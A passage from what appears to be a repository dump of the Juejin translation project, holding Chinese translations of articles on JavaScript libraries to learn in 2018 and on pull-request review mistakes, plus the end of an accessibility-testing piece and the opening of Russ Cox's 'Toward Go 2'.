(扩展)\n\n[High Contrast](https://chrome.google.com/webstore/detail/high-contrast/djcfdncoelnlbldjfhinnjlhdjlikmph?hl=en) 是谷歌 Chrome 浏览器的一个扩展插件，它能够提高页面调色方案的对比度，通过此类工具来查看页面能够在配色的选择上助我们一臂之力。\n\n![](https://bitsofco.de/content/images/2016/10/Oct-30-2016-16-34-30.gif)\n\n## 键盘\n\n最后，最简单也最有效的一个测试方法，试着只用键盘不用任何点击设备来操作网站。\n"
  },
  {
    "path": "TODO/top-javascript-libraries-tech-to-learn-in-2018.md",
    "content": "> * 原文地址：[Top JavaScript Libraries & Tech to Learn in 2018](https://medium.com/javascript-scene/top-javascript-libraries-tech-to-learn-in-2018-c38028e028e6)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/top-javascript-libraries-tech-to-learn-in-2018.md](https://github.com/xitu/gold-miner/blob/master/TODO/top-javascript-libraries-tech-to-learn-in-2018.md)\n> * 译者：[gy134340](https://github.com/gy134340)\n> * 校对者：[moods445](https://github.com/moods445), [vuuihc](https://github.com/vuuihc)\n\n# 2018 要学习的优秀 JavaScript \b库与知识\n\n![](https://cdn-images-1.medium.com/max/2000/1*POlkeGC7T-F0jIqYJpom_A.jpeg)\n\nAlex Proimos — 纽约公共图书馆自修室 (CC BY 2.0)\n\n去年，我写了一篇关于 [2017 需要学习的技术](https://medium.com/javascript-scene/top-javascript-frameworks-topics-to-learn-in-2017-700a397b711) 的文章。今年有一些惊喜。\n\n> 我们致力于回答 “\b在你投资学习的时候，哪些最高效\b？” 的问题\n\n![](https://cdn-images-1.medium.com/max/800/1*eLeegNau5KrKlpE0MDh61Q.png)\n\nJavaScript 有最多的包，取得压倒性\b胜利。\n\n首先，软件吞噬了世界，web 吞噬了软件，同时 JavaScript 吞噬了 web。而在 2018 年，React 正在吞噬 JavaScript。\n\n### 2018: React 之年\n\nReact 在 2017 年赢得了人气之战。\n\n从 Google 趋势可以看出，还是有很多开发者基于 Angular \b开发：\n\n![](https://cdn-images-1.medium.com/max/800/1*Z5dxtF877QndConbs0Tglg.png)\n\n但是 React 持续的赢得用户满意度。它迅速增长\b并远远抛开 Angular (以及其他) 框架。\n\n#### Vue.js 呢? 我听说它很火\n\n每个人都喜欢口头上谈及相关的替代选项，比如 Vue.js。这是我去年说的：\n\n> [**Vue.js**](https://vuejs.org/) 有很多的 GitHub star 和下载量。如果情况继续发展的话，它在 2017 年将会表现的很好，但我不认为它会在下一年里\b替换 Angular 或者 React。所以在你学习 React 或者 Angular  **之后**再学习它吧。\n\nVue.js 在 2017 年表现出色，赢得了很多新闻头条和人们的兴趣。像我所预测的那样，它没有**赶上 React**, 同时我也肯定的说在 2018 年也不会发生。\b即便如此，它可能在 2018 年超过 Angular:\n\n![](https://cdn-images-1.medium.com/max/800/1*IWIeZaJGBd82ZnIk4vYtnw.png)\n\nVue.js 下载量/月\n\n如你所见, Vue.js 正在赶上 Angular 的下载量：\n\n![](https://cdn-images-1.medium.com/max/800/1*AOyTSi4Fs5uKNHZoyFcfHQ.png)\n\nangular/core 下载量/月\n\n但是 React 有很强的领先趋势和与之相同的增长率：\n\n![](https://cdn-images-1.medium.com/max/800/1*XKJokKyWBzwqNgG2Nzckiw.png)\n\nReact 下载量/月\n\nVue.js 比 React 增长的更快，那与 2017 年 React 和 Angular 的对比有什么不同\b呢？\n\n在 2016 年末，JavaScript 世界准备好迎接新的框架了。Angular 的用户非常的不满，React 的用户则与之相反，\b许多人想学习 React，很少人愿意学习 Angular。在 2017 年年尾，Angular 2 之后的用户满意度还是不到一半，只有 49%。\n\n**React 和 Vue.js 则是完全不同的情节** [\bReact 的用户满意度更高](https://stateofjs.com/2017/front-end/results) (93% to 90%)。2017 年早期，从 React 转向 Vue 的最大的刺激是 React 的开源许可证的问题。。Facebook 听取了用户的建议\b\b后来更改了协议。\n\n在这一阶段，我看不到任何迹象可以让\b市场从 React 切换到其他的。Vue.js 从 React 手中夺取用户要比从 jQuery 和 Angular 那里难的多。\n\n从 Angular 和 jQuery 那里夺取用户有很多空间，但是从 React \b那里获取用户来获得持续的增长将会很快碰到瓶颈。\n\n我预测 Vue.js 这种快速的增长只会持续一到两年，它会在顶部与 React 进行激烈的竞争，然后会停在第二位，除非有大的改变可以打破这个平衡。\n\n### 职位\n\n> jQuery 凉了。\n\n在职位列表中, \bReact 完全取代了 jQuery \b之前的位置———**_这是十年来第一个超越 jQuery 的库_**¹。我们看到一个时代的终结。\n\n![](https://cdn-images-1.medium.com/max/800/1*Zsfr-vAuQXc95A7j1ebyEg.png)\n\nReact 取代了十年来 jQuery 第一的位置\n (来源: Indeed.com)\n\n对比一下去年的图:\n\n![](https://cdn-images-1.medium.com/max/800/1*ZruXZe2HKfu2av8h4WBDfA.png)\n\njQuery 2016 年是这样的\n\n有趣的点在于其他库的增长值大于 jQuery 滑落的值。总的来说，库相关的职位在去年增长了 10k 或更多。\n\n在职位的增加下，我们还看到平均工资的增长 [$110k](https://www.indeed.com/salaries/Javascript-Developer-Salaries) 对比 2016 年的 $93k。通货膨胀同期\b保持在[2% 一下](https://data.bls.gov/timeseries/CUUR0000SA0L1E?output_view=pct_12mths)，并不会过多的影响这\b一爆炸\b式增长。\n\n显然，在 2018 还有是卖方市场。\n\n> **1. 方法:** \b职位的\b搜索在 Indeed.com 完成。为了增强数据的可靠性，我成\b对的搜索 “软件” 相关的关键字扩大相关性，然后乘以大约 1.5 （粗糙的区分那些编程\b工作列表使用 “软件” 关键字和不使用的）。所有相关的都按日期排序记录相关性，其结果不一定 100% 准确，但是已经足够用来在此文中表示粗略的度。\n\n### 框架推荐\n\n在看了今年的数据之后，我强烈用最广泛使用的 React 来开发应用，包括移动端应用（PWAs, React Native），web 应用，大部分的生产力工具，以及桌面媒体应用（[Electron](https://electronjs.org/)）。\n\n某些明显的情况下，其他的可能更为适用好：轻量的营销页面（完全不需要框架），3D 游戏，AR/VR。对于 3D 的内容，看看 [Unity](https://unity3d.com/), [Unreal](https://www.unrealengine.com/en-US/what-is-unreal-engine-4), 或者 [PlayCanvas](https://playcanvas.com/)。即便如此，React 也可以作为 3D 内容的 UI 库。\n\n我强烈不建议转向其他可以备选的前端框架。这并不是说它们不好，只是它们不是市场上 React 有力的竞争者。记住，这个列表是关于投资回报率，而不是哪一个技术是最棒的。\n\n### 为什么对 React 这么感兴趣?\n\n浏览 React 的职位列表，我注意到很多本不应该属于前端工作的有趣的趋势：\n\n* React Native (看起来, 这些需求\b总量比 Vue.js 的还多)\n* React IoT\n* React AR/VR (Oculus Rift\b 主导需求市场)\n* React 对那些你从来\b没听说\b的模糊计算\n\n> React 已经脱离了它 web 的土壤\n\n灵活性是 \bReact 最大的卖点。不像其他框架，采用 React 并不意味着关注它的数据模型，甚至浏览器和 DOM。事实上，我发现不少 React 的工作需求完全没有提到 JavaScript。\n\n\bReact 提供了基于其标准的丰富的充满活力的生态系统，这些从 jQuery 统治 web 以来从来没有看到过。\n\n> 问题不再是“哪一个框架？”\n> 问题是 “什么技术可以更好的搭配 React?”\n\n\b没有任何事物可以在 2018 改变 React（也许\b 2019 也是）。你很安全。JavaScript 疲劳渐渐稳定了。我们有了一个伟大的构造应用的框架，同时有着相关的优秀的生态系统。\n\n### 你应该学习哪些话题?\n\n像去年一样，你不能错误的关注一些要点，但是\b你应该更\b加重视\b React 应用的函数式编程。\n\nReact 有\b两点优秀之处:\n\n* 确定性的视图渲染\n* 将视图层从 DOM \b操作中抽象出来\n\n确定性通过使用纯函数构建应用来实现，这本质上也是函数式编程的定义。\n\n考虑这一点, 这是一些你需要学习的内容:\n\n* [**基础的 ES6 语法**](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30)\n* [**类的语法和它的各种陷阱**](https://medium.com/javascript-scene/why-composition-is-harder-with-classes-c3e627dcd0aa) — 可以对 React 组件使用类，但是应该避免继承你自己的类，避免 `instanceof`, 避免类的使用者使用 `new`关键字。\n* [**函数式编程 和 软件组成**](https://medium.com/javascript-scene/composing-software-an-introduction-27b72500d6ea)\n* [**Currying**](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30#0355)\n* [**闭包**](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-closure-b2f0d2152b36)\n* [**纯函数**](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-pure-function-d1c076bec976)\n* [**Promises**](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-promise-27fc71e77261)\n* [**Generators**](https://medium.com/javascript-scene/7-surprising-things-i-learned-writing-a-fibonacci-generator-4886a5c87710) **和** [**异步函数**](https://medium.com/javascript-scene/the-hidden-power-of-es6-generators-observable-async-flow-control-cfa4c7f31435)\n* [**TDD**](https://medium.com/javascript-scene/the-outrageous-cost-of-skipping-tdd-code-reviews-57887064c412)\n* [**RAIL 性能模型**](https://www.smashingmagazine.com/2015/10/rail-user-centric-model-performance/)\n* **Progressive Web Applications (PWAs):** \b\b看一下 [“Native Apps are Doomed”](https://medium.com/javascript-scene/native-apps-are-doomed-ac397148a2c0) 和 [“Why Native Apps Really Are Doomed”](https://medium.com/javascript-scene/why-native-apps-really-are-doomed-native-apps-are-doomed-pt-2-e035b43170e9)\n* **GraphQL** 在 2017 年成熟了很多，非常快速的取代 REST API, Apollo 采用了内置的离线客户端缓存架构让 Apollo 和 GraphQL 成为 2018 Redux 的一个真正的备选方案（或补充）。\n\n### 库和工具\n\n这里是一些我发现的最有用的库和工具：\n\n* [**React**](https://reactjs.org/)\n* [**Redux**](https://redux.js.org/)\n* [**Redux-Saga**](https://github.com/redux-saga/redux-saga) 管理异步 IO 分离副作用\n* [**Next.js**](https://github.com/zeit/next.js/) — Node 和 Express 的服务端喧嚷, 自动的\b\b分离打包, styled-jsx\n* [**Material UI**](http://www.material-ui.com/)\n* [**Storybook**](https://github.com/storybooks/storybook)\n* [**Cheerio**](https://github.com/cheeriojs/cheerio) 用来做 React 组件的单元测试（相比 Enzyme 我更喜欢它）\n* [**Lodash**](https://lodash.com/) (我更倾向于 `lodash/fp`)。只导入需要的包避免增大打包体积。 \n* [**Babel**](https://babeljs.io/)**:** 编译 ES6 使它在更老的浏览器上运行\n* [**Webpack**](https://webpack.github.io/)**:** 最流行 JavaScript 打包工具，向 [kit/boilerplate](https://github.com/kriasoft/react-starter-kit)找一些简单的样例来快速的开始。\n* [**ESLint:**](http://eslint.org/) 提早检测语法错误和样式问题，在 code review 和测试驱动开发之外最好的可以减少你代码里错误的工具。\n* [**Ramda**](http://ramdajs.com/)— 主要是为了 lenses 和 transducers.\n* [**Node & Express**](https://medium.com/javascript-scene/introduction-to-node-express-90c431f9e6fd#.gl2r6gcnn)\n* [**RxJS**](http://reactivex.io/rxjs/)**:** 让 JavaScript 可观察，最近我一直在使用 transducers，记着使用 [patch imports](https://github.com/ReactiveX/rxjs#es6-via-npm) 来减小包体积。\n\n**TypeScript**2017 年表现不错, 但我认为它增加应用的复杂度的弊端大于它的帮助，它的主要缺点是过分依赖注释而不是接口，同时对高阶函数\b\b的类型有无法形容的扭曲，我做了一整天的试用，这些情况仍然存在\b：[“静态类型之秘”](https://medium.com/javascript-scene/the-shocking-secret-about-static-types-514d39bf30a3) 和 [“你也许不需要呀 JavaScript”](https://medium.com/javascript-scene/you-might-not-need-typescript-or-static-types-aa7cb670a77b)。Flow 跟 TypeScript 有相同的问题\b同时开发者工具也不如 \bTypeScript 的棒。\n\n\n### 2018 技术展望\n\n所有的这些都是 2018 研究与开发领域真实的工作：\n\n* Progressive Web Apps (PWAs)\n* 区块链与金融\b\b科技\n* \b医疗科技\n* AR/VR — Hololens, Meta, 和 ODG 现在\b可以出货了。 ODG R-9 本来预计 2017 发售但是很有可能放在 2018。MagicLeap 承诺 2018 发布。AR 将会比过去手机更加改变人们的体验。\n* 3D 打印\n* AI\n* 无人驾驶\n\n量子计算也将改变世界，但是也许在 2019 或者更晚改变才会开始。目前有在网上工作的量子计算机，但是他们还做的不是很多。现在对于大多数开发者来说开始试验性生产还太早。微软最近发布了它的量子计算编程语言 [Q#](https://arstechnica.com/gadgets/2017/12/microsofts-q-quantum-programming-language-out-now-in-preview/)，[IBM](https://www.forbes.com/sites/alexkonrad/2017/12/14/why-companies-like-jpmorgan-chase-and-samsung-are-partnering-with-ibm-in-quantum-computing/#123ce0592c4d) 和 [Google](https://www.inverse.com/article/38917-google-quantum-simulator-creates-a-butterfly) 也继续大量投资自己的\b量子云计算市场。\n\n如果你想学习量子计算，你也许需要学习 [线性代数](https://mitpress.mit.edu/books/quantum-algorithms-linear-algebra)，同时也有\b对于量子计算也有一些基于 [lambda 演算](https://plato.stanford.edu/entries/lambda-calculus/) 的函数式\b探索。\n\n很有可能，像我们看到的 AI, 云 API 将会被开发出来让\b有不同数学背景的人来更好的利用好量子计算的能力。\n\n### 需要为你的团队教授 React?\n\nDevAnywhere 提供一些 React 的线上教程，和一对一的关于 React 中函数式编程及软件构建原理的指导。\n\n[![](https://cdn-images-1.medium.com/max/800/1*pskrI-ZjRX_Y0I0zZqVTcQ.png)](https://devanywhere.io/)\n\n[https://devanywhere.io/](https://devanywhere.io/)\n\n* * *\n\n**_Eric Elliott_** _is the author of_ [_“Programming JavaScript Applications”_](http://pjabook.com) _(O’Reilly), and cofounder of_ [_DevAnywhere.io_](https://devanywhere.io/)_. He has contributed to software experiences for_ **_Adobe Systems_**_,_ **_Zumba Fitness_**_,_ **_The Wall Street Journal_**_,_ **_ESPN_**_,_ **_BBC_**_, and top recording artists including_ **_Usher_**_,_ **_Frank Ocean_**_,_ **_Metallica_**_, and many more._\n\n_He works anywhere he wants with the most beautiful woman in the world._\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/top-ten-pull-request-review-mistakes.md",
    "content": "> * 原文地址：[Top ten pull request review mistakes](https://blog.scottnonnenberg.com/top-ten-pull-request-review-mistakes/)\n> * 原文作者：[Scott Nonnenberg](https://scottnonnenberg.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [luoyaqifei](http://www.zengmingxia.com)\n> * 校对者：[xiaoyusilen](https://github.com/xiaoyusilen)，[phxnirvana](https://github.com/phxnirvana)\n\n# Pull request review 的十大错误\n\n我已在多个 [GitHub](https://github.com/) 托管的项目中工作过，无论是 [个人的](/star-wars-cards/#geeking-out)、 [开源的](https://scottnonnenberg.com/open-source/) 或者 [工作中的](https://scottnonnenberg.com/work)。有的时候使用公开的 GitHub，别的时候使用 [GitHub 企业版](https://enterprise.github.com/)。但是有一件事情是一样的：[提交一个 pull request](https://help.github.com/articles/about-pull-requests/) 实在是简单，但是很好地 review 一个 pull request 实在是有点难。\n\n为了避免更多的麻烦，本文会涉及到十大 pull request review 错误和一些怎样做得更好的想法：\n\n## 1. 漫不经心 +1\n\n这是那么地让人难以抗拒：某个 pull request 实在太大，提交者又是你很信任的人。他们已经在这段代码上工作了很久，而且这段代码总是工作得很好。更不必说，你也有你自己的 deadline 要赶啊！\n\n    +1\n    看起来挺好\n    走起，合并吧！\n\n\n不要再这么做啦！\n\n你真的需要花一些时间来 review 这段代码。每个人都会犯错——资历水平并不是什么对抗错误的神奇守卫。并且，你要清楚自己的身份，作为一个 reviewer，你的身份是使用你的创造性和专业性，使用任何方式来减少 pull request 将代码库变得更糟的情况。\n\n这才是真正的目的，对不对？如果每个 pull request 都让代码库变得更好，项目很可能是有长期潜力在的！\n\n## 2. 拖延\n\n为什么现在就要 review 它呢？毕竟这真的是个大 pull request 啊。你当下的任务太重要了。你最终会绕着它走，对不对？或者，可能你只是等着别人插手吧……\n\n拷问下你自己的内心吧！让那股力量从你的心中流过！在那种阻力下，你可能会有一些真正的顾虑。\n\n既然你已经认清了你真正的顾虑，行动起来！\n\n- 如果对于更改到底做了什么，代码提交者没有提供足够的指引，直接去问提交者要这些！比如说，原始需求在哪？\n- 如果只是因为更改太庞大，难以一次 review 完毕，让他们分成多次提交！\n- 如果你不明白什么，放下你的骄傲，问！\n- 如果你发现了足够多的问题／有足够多的顾虑，可能是时候与提交者做一些面对面的互动了。\n\n## 3. 统一 diff\n\n你在 review 不知所云的代码吗？在 GitHub 和 GitHub 企业版上默认的 diff 显示是「统一的」（Unified）(译者注：现在 GitHub 已经默认使用 Split 显示了)。在这种模式下，渲染一系列文件的更改，软件看的是被添加的／被删除的行，并且尝试着将更改块智能分组，所有的都是内联的。但是你能看懂多少更改呢？在多数情况下，「统一的」 diff 很难阅读。所谓智能的块选择真的不够智能。\n\n好消息是 [GitHub 和 GitHub 企业版都支持将 diff 「分屏」（Split）](https://github.com/blog/1884-introducing-split-diffs)。左侧是旧文件，右侧是新文件。如果代码被移除，你将在右侧看到空区域；如果代码被添加，你将在左侧看到空区域。这两者都可以让你清楚地看到文件在更改前后的模样，能够促使你做更好的 review 决策。\n\n不要为莫名其妙买单。在 diff 的右上角点击「将 diff 分屏（Split）」吧！\n\n## 4. 专注样式而不是实质\n\n在 pull request 的 review 时，即便对代码风格和格式有异议，也不应在这些方面浪费时间。我之前写过一篇文章，关于 [使用 ESLint 这类工具来将这些事情完全自动化的必要性](/eslint-part-3-analysis/#trying-to-adapt)。为什么？因为它完全是浪费时间！\n\n一个好的 reviewer 会将时间放在尝试着去理解 [代码更改的最终目的](/understand-the-problem-dev-productivity-tip-1/) 上，通过回溯到原始的需求。有一个追溯这段更改的工作项吗？有相应的测试用例吗？它到底在要什么？\n\n只有掌握了这些代码背景，真正的 review 才会实现。可能在浮于表面的结构／样式 review 时看起来合理的代码，当理解了终极目标后会变得不能接受。\n\n当然，你可能会回避惹上这种「大」事情，毕竟有如此多的时间被消耗在已有的更改上了。但是，讨论更好的解决方案是值得的。对于每个人来说，这都是一个学习的机会。你可能错误地相信会有一个更好的解决方案，但是这种相信会引领你和原始提交者进行一次讨论，来确定到底有没有更好的解决方案。\n\n## 5. 不注意未完成的更改\n\n差异对于展示已有的更改很棒，但是这也是问题所在。从定义上就可以看出来，它并不能展示出什么 **没有** 被更改。时刻观察有哪些更改应该被更广泛地应用，比如说查找／替换这种可能没有覆盖到整个代码库的情况。\n\n或者一个更改应该涉及到一整个组件而它只涉及到其中一部分的情况。\n\n或者完全缺少测试的情况。测试是更改很重要的一部分，但是它实际上是很容易被遗忘的，如果它们根本不在 diff 里面的话。你很难因为被提醒而想起它们。\n\n不得不承认，这真的很难！这是 review 里最难的类型。它可能帮助你做一些快速的明智的检查搜索，或者在提交者的分支上，或者在你自己的机器上有的任何的东西。或者，你可以问提交者他们在你能看到的代码更改之外，做过哪些类型的全面检查，\n\n## 6. 轻视测试代码\n\n一旦在 pull request 里有一些测试代码的更新，就很容易被麻痹在一种错误的安全感里。如果他们将测试代码放入了，这些测试代码一定是高质量的、易理解的，对吗？\n\n错！\n\n测试是一门艺术。它使用了很多的上下文来恰当地平衡风险转移和测试消耗，以适合代码领域和团队文化的方式。Pull request review 是一个很好的、团队可以创建这种共享上下文的地方。\n\n有一些问题需要考虑：\n\n- 测试标题合适地声明了吗？\n- 关键场景被捕获了吗？\n- 为了安全起见，足够的边缘用例被覆盖了吗？\n- 哪部分应用被单个测试使用了？太多？太少？\n- 测试断言写得好吗？测试挂过吗？测试经常挂吗？\n- 如果一个测试挂掉了，容易追溯到错误原因吗？\n- 如果加入新的前端行为，它有被加入 [手动测试脚本](/web-application-test-strategy/#stage-0-real-usage) 里吗？有被加入 [浏览器自动测试](/web-application-test-strategy/#stage-4-automating-a-browser) 里吗？\n\n## 7. 不考虑前端复杂性\n\n如果改动发生在 CSS 和 HTML 里，人们的倾向是将它当作算法代码改动来对待。你会看到看起来很规范的改动，并且想象它们会在浏览器里做些什么。“看起来很合理”，你说。\n\n但是事情不是这么简单的。用户最终看到的效果来自于你的应用和不同的渲染引擎之间的复杂交互。\n\n不要只脑补了，把分支 pull 下来。在多种浏览器和屏幕尺寸上试试，因为这种页面改动是很微妙的。就算你是一个专家级前端开发人员，也不要相信你自己能够靠肉眼搞定这种改动。这也是 [CodePen](https://codepen.io/) 和 [the like](https://www.sitepoint.com/7-code-playgrounds/) 存在的意义！\n\n## 8. 狭窄眼界\n\n这是另一个你可能会被 diff 里看起来很规范的代码所麻痹的领域。从大的角度来考虑问题是很重要的。有了项目里的这段新代码，会有什么改变？可能会发生什么？\n\n有一些你可以着手的问题：\n\n- 这个改动会影响用户的下载量吗？对于性能的影响有多大？会改变用户体验，以至于需要放入版本的发布说明，或者放入给用户的邮件里吗？\n- 它会引入一种新类型的代码或者特性吗？它需要新的测试方法，新的日志方法、监控技术，或者需要部署流程的改变吗？\n- 它会被用户今天用到吗，或者它在一个 flag 后面？存在什么系统可以检测 flag 后面的东西呢？\n- 测试完全有多难？在开发环境和生产环境里可能会有什么区别呢？\n\n## 9. 短视思维\n\n在一些 pull request 里，有一些总在反复的东西，可能是因为不同意，或者只是需要阐明。这种做法很棒——这是在建立共享上下文。但是当下一个开发者遇到这段代码的时候，会发生什么呢？他们会对这段讨论难以理解。\n\n为未来建立可以理解的上下文，有这么些想法：\n\n- 在代码的注释里放入关键的 pull request 讨论。\n- 改掉对于 reviewer 来说难以理解的代码——这些代码在未来对于其他人来说同样会难以理解！\n- 在项目里创建一个存放完整的概念文档的地方，包括一些涉及到的、广泛应用的主题。\n- 确保所有代码里的 `TODO` 与你的工作项数据库中的某一项相对，并且有足够的细节能让它被原始报告人以外的人操作。\n- 当 review 的时候，请考虑对代码的长期维护——改变会简单吗？在生产环境中维护简单吗？长期消耗是什么？\n\n## 10. 对修正进行 review\n\n终于！这个 pull request 看起来引起了一些注意，并且又回到了提交者这边。你已经给出了你的反馈，提交者正在相应地作出更改。\n\n现在不是忘掉这个 pull request 的时候。你已经跟提交者讨论好了有哪些需要更改的地方，但是这不意味着这些更改将会是对的！或者甚至完全是错的！\n\n对 pull request 的修正是开发者有史以来可能做出的风险最大的更改，因为所有人都只想前进。如果一个人在开发中给予的关注不够，那么对 review 也不会太关注。\n\n尤其要密切注意对最初的 pull request 的任何更改，即使你已经完整地 review 过 pull request。如果新的更改被放到了单独的提交里，那么情况要简单些。如果整个 pull request 被重新 [rebased/squashed](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History)，那么这就让人有点沮丧了。\n\n## 这不容易！\n\n设计与实现软件是一件难事。凭什么 review 它就会简单一点呢？实际上，review 很大可能更难，因为比起写代码来说，review 能够用来建立正确的代码背景，从而提供合理的反馈的时间更少。\n\n但是我们不能放弃——它很重要！\n\n将本文作为你 review 的入口清单吧，或者让它在这方面激励你。随着时间的推移，你和你的团队将会创建一个自己独有的清单，用于提醒 review 代码时一些重要但是容易忘记的点。最终，你的 pull request 流程将会变成一个强有力的 [反馈环](/the-why-of-agile/#feedback-loops)，能够提升你们团队的 review 文化和代码质量。\n"
  },
  {
    "path": "TODO/toward-go2.md",
    "content": "\n> * 原文地址：[Toward Go 2](https://blog.golang.org/toward-go2)\n> * 原文作者：[Russ Cox](https://blog.golang.org/toward-go2)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/toward-go2.md](https://github.com/xitu/gold-miner/blob/master/TODO/toward-go2.md)\n> * 译者：\n> * 校对者：\n\n# Toward Go 2\n\n#### Introduction\n\n[This is the text of my talk today at Gophercon 2017, asking for the entire Go community's help as we discuss and plan Go 2. We will add a link to the video when it becomes available.]\n\nOn September 25, 2007, after Rob Pike, Robert Griesemer, and Ken Thompson had been discussing a new programming language for a few days, Rob suggested the name “Go.”\n\n![](https://blog.golang.org/toward-go2/mail.png)\n\nThe next year, Ian Lance Taylor and I joined the team, and together the five of us built two compilers and a standard library, leading up to the [open-source release](https://opensource.googleblog.com/2009/11/hey-ho-lets-go.html) on November 10, 2009.\n\n![](https://blog.golang.org/toward-go2/tweet.png)\n\nFor the next two years, with the help of the new Go open source community, we experimented with changes large and small, refining Go and leading to the [plan for Go 1](https://blog.golang.org/preview-of-go-version-1), proposed on October 5, 2011.\n\n![](https://blog.golang.org/toward-go2/go1-preview.png)\n\nWith more help from the Go community, we revised and implemented that plan, eventually [releasing Go 1](https://blog.golang.org/go-version-1-is-released) on March 28, 2012.\n\n![](https://blog.golang.org/toward-go2/go1-release.png)\n\nThe release of Go 1 marked the culmination of nearly five years of creative, frenetic effort that took us from a name and a list of ideas to a stable, production language. It also marked an explicit shift from change and churn to stability.\n\nIn the years leading to Go 1, we changed Go and broke everyone's Go programs nearly every week. We understood that this was keeping Go from use in production settings, where programs could not be rewritten weekly to keep up with language changes.\n\nAs the [blog post announcing Go 1](https://blog.golang.org/go-version-1-is-released) says, the driving motivation was to provide a stable foundation\n\nfor creating reliable products, projects, and publications (blogs, tutorials, conference talks, and books), to make users confident that their programs would continue to compile and run without change for years to come.\n\nAfter Go 1 was released, we knew that we needed to spend time using Go in the production environments it was designed for. We shifted explicitly away from making language changes toward using Go in our own projects and improving the implementation: we ported Go to many new systems, we rewrote nearly every performance-critical piece to make Go run more efficiently, and we added key tools like the [race detector](https://blog.golang.org/race-detector).\n\nNow we have five years of experience using Go to build large, production-quality systems. We have developed a sense of what works and what does not. Now it is time to begin the next step in Go's evolution and growth, to plan the future of Go. I'm here today to ask all of you in the Go community, whether you're in the audience at GopherCon or watching on video or reading the Go blog later today, to work with us as we plan and implement Go 2.\n\nIn the rest of this talk, I'm going to explain our goals for Go 2; our constraints and limitations; the overall process; the importance of writing about our experiences using Go, especially as they relate to problems we might try to solve; the possible kinds of solutions; how we will deliver Go 2; and how all of you can help.\n\n#### Goals\n\nThe goals we have for Go today are the same as in 2007. We want to make programmers more effective at managing two kinds of scale: production scale, especially concurrent systems interacting with many other servers, exemplified today by cloud software; and development scale, especially large codebases worked on by many engineers coordinating only loosely, exemplified today by modern open-source development.\n\nThese kinds of scale show up at companies of all sizes. Even a five-person startup may use large cloud-based API services provided by other companies and use more open-source software than software they write themselves. Production scale and development scale are just as relevant at that startup as they are at Google.\n\nOur goal for Go 2 is to fix the most significant ways Go fails to scale.\n\n(For more about these goals, see Rob Pike's 2012 article “[Go at Google: Language Design in the Service of Software Engineering](https://talks.golang.org/2012/splash.article)” and my GopherCon 2015 talk “[Go, Open Source, Community](https://blog.golang.org/open-source).”)\n\n#### Constraints\n\nThe goals for Go have not changed since the beginning, but the constraints on Go certainly have. The most important constraint is existing Go usage. We estimate that there are at least [half a million Go developers worldwide](https://research.swtch.com/gophercount), which means there are millions of Go source files and at least a billion of lines of Go code. Those programmers and that source code represent Go's success, but they are also the main constraint on Go 2.\n\nGo 2 must bring along all those developers. We must ask them to unlearn old habits and learn new ones only when the reward is great. For example, before Go 1, the method implemented by error types was named `String`. In Go 1, we renamed it `Error`, to distinguish error types from other types that can format themselves. The other day I was implementing an error type, and without thinking I named its method `String` instead of `Error`, which of course did not compile. After five years I still have not completely unlearned the old way. That kind of clarifying renaming was an important change to make in Go 1 but would be too disruptive for Go 2 without a very good reason.\n\nGo 2 must also bring along all the existing Go 1 source code. We must not split the Go ecosystem. Mixed programs, in which packages written in Go 2 import packages written in Go 1 and vice versa, must work effortlessly during a transition period of multiple years. We'll have to figure out exactly how to do that; automated tooling like go fix will certainly play a part.\n\nTo minimize disruption, each change will require careful thought, planning, and tooling, which in turn limits the number of changes we can make. Maybe we can do two or three, certainly not more than five.\n\nI'm not counting minor housekeeping changes like maybe allowing identifiers in more spoken languages or adding binary integer literals. Minor changes like these are also important, but they are easier to get right. I'm focusing today on possible major changes, such as additional support for error handling, or introducing immutable or read-only values, or adding some form of generics, or other important topics not yet suggested. We can do only a few of those major changes. We will have to choose carefully.\n\n#### Process\n\nThat raises an important question. What is the process for developing Go?\n\nIn the early days of Go, when there were just five of us, we worked in a pair of adjacent shared offices separated by a glass wall. It was easy to pull everyone into one office to discuss some problem and then go back to our desks to implement a solution. When some wrinkle arose during the implementation, it was easy to gather everyone again. Rob and Robert's office had a small couch and a whiteboard, so typically one of us went in and started writing an example on the board. Usually by the time the example was up, everyone else had reached a good stopping point in their own work and was ready to sit down and discuss it. That informality obviously doesn't scale to the global Go community of today.\n\nPart of the work since the open-source release of Go has been porting our informal process into the more formal world of mailing lists and issue trackers and half a million users, but I don't think we've ever explicitly described our overall process. It's possible we never consciously thought about it. Looking back, though, I think this is the basic outline of our work on Go, the process we've been following since the first prototype was running.\n\n![](https://blog.golang.org/toward-go2/process.png)\n\nStep 1 is to use Go, to accumulate experience with it.\n\nStep 2 is to identify a problem with Go that might need solving and to articulate it, to explain it to others, to write it down.\n\nStep 3 is to propose a solution to that problem, discuss it with others, and revise the solution based on that discussion.\n\nStep 4 is to implement the solution, evaluate it, and refine it based on that evaluation.\n\nFinally, step 5 is to ship the solution, adding it to the language, or the library, or the set of tools that people use from day to day.\n\nThe same person does not have to do all these steps for a particular change. In fact, usually many people collaborate on 